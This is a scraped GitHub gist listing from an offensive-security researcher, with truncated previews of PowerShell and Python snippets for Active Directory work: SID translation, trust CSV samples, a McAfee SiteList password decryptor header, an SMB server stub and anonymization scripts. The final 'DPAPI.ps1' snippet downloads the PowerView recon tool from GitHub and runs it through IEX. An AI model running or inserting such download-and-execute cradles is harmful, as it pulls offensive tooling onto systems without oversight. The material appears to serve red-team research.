Skip to content

Instantly share code, notes, and snippets.

View HarmJ0y's full-sized avatar
💭
Coding towards chaotic good while living on the decision boundary

Will HarmJ0y

💭
Coding towards chaotic good while living on the decision boundary
View GitHub Profile
@HarmJ0y
HarmJ0y / gist:57f1dac93fcc3564f9b3
Created October 23, 2014 13:53
domain user to sid and sid to user
# user to SID
(New-Object System.Security.Principal.NTAccount("DOMAIN","USER")).Translate([System.Security.Principal.SecurityIdentifier]).Value
# SID to user
(New-Object System.Security.Principal.SecurityIdentifier("SID")).Translate( [System.Security.Principal.NTAccount]).Value
@HarmJ0y
HarmJ0y / trusts.csv
Created December 29, 2014 06:20
Simple Domain Trust Output
SourceDomain TargetDomain TrustType TrustDirection
finance.mothership.com mothership.com ParentChild Bidirectional
mothership.com corp.mothership.com ParentChild Bidirectional
mothership.com finance.mothership.com ParentChild Bidirectional
mothership.com engineering.mothership.com ParentChild Bidirectional
corp.mothership.com mothership.com ParentChild Bidirectional
corp.mothership.com subsidiary.com External Inbound
finance.mothership.com mothership.com ParentChild Bidirectional
engineering.mothership.com mothership.com ParentChild Bidirectional
subsidiary.com product.subsidiary.com ParentChild Bidirectional
@HarmJ0y
HarmJ0y / trusts_complex.csv
Created December 29, 2014 06:21
More Complex Domain Trust Example
SourceDomain TargetDomain TrustType TrustDirection
finance.mothership.com mothership.com ParentChild Bidirectional
mothership.com corp.mothership.com ParentChild Bidirectional
mothership.com finance.mothership.com ParentChild Bidirectional
mothership.com contracts.mothership.com ParentChild Bidirectional
corp.mothership.com mothership.com ParentChild Bidirectional
contracts.mothership.com mothership.com ParentChild Bidirectional
contracts.mothership.com product.othercompany.com External Inbound
product.othercompany.com contracts.mothership.com External Outbound
product.othercompany.com othercompany.com ParentChild Bidirectional
### Keybase proof
I hereby claim:
* I am harmj0y on github.
* I am harmj0y (https://keybase.io/harmj0y) on keybase.
* I have a public key whose fingerprint is FFD5 77A3 2B3A 2B41 11F4 383A FA2F 9AA5 3110 89D3
To claim this, I am signing this object:
@HarmJ0y
HarmJ0y / Translate-Canonical.ps1
Created September 17, 2015 22:39
Translate-Canonical
function Translate-Canonical {
<#
.SYNOPSIS
Converts a user@fqdn to NT4 format.
.LINK
http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats
#>
[CmdletBinding()]
param(
[String]$User
@HarmJ0y
HarmJ0y / Get-DecryptedSitelistPassword.ps1
Created February 12, 2016 03:05
Get-DecryptedSitelistPassword.ps1
function Get-DecryptedSitelistPassword {
# PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/
# Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com)
# port by @harmj0y
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[String]
$B64Pass
)
@HarmJ0y
HarmJ0y / smb_hoster.py
Created June 4, 2015 00:39
smb_hoster.py
#!/usr/bin/python
from impacket import smbserver
import sys, argparse, threading, ConfigParser, time, os
class ThreadedSMBServer(threading.Thread):
"""
Threaded SMB server that can be spun up locally.
"""
@HarmJ0y
HarmJ0y / EncryptedStoreTests.ps1
Created August 31, 2016 22:28
Encrypted Store Tests
$RSA = New-RSAKeyPair
# local tests
$ComputerName = 'localhost'
$StorePath = 'C:\Temp\temp.bin'
Write-Host "`n[$ComputerName] AES Storepath : $StorePath"
".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key 'Password123!'
Read-EncryptedStore -StorePath $StorePath -Key 'Password123!' -List
Get-EncryptedStoreData -StorePath $StorePath | Remove-EncryptedStore
@HarmJ0y
HarmJ0y / anon.ps1
Created April 18, 2016 05:06
anon.ps1
$GroupData = @{}
$UserData = @{}
$ServerData = @{}
Import-CSV .\DomainGroups.csv | ForEach-Object {
if($GroupData[$_.GroupName]) {
$_.GroupName = $GroupData[$_.GroupName]
}
else {
$guid = ([guid]::NewGuid()).Guid
@HarmJ0y
HarmJ0y / DPAPI.ps1
Created July 31, 2017 21:16
DPAPI.ps1
Add-Type -AssemblyName System.Security
$Content = (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')
$Bytes = ([Text.Encoding]::ASCII).GetBytes($Content)
$EncryptedBytes = [Security.Cryptography.ProtectedData]::Protect($Bytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)
IEX (([Text.Encoding]::ASCII).GetString([Security.Cryptography.ProtectedData]::Unprotect($EncryptedBytes, $Null, [Security.Cryptography.DataProtectionScope]::LocalMachine)))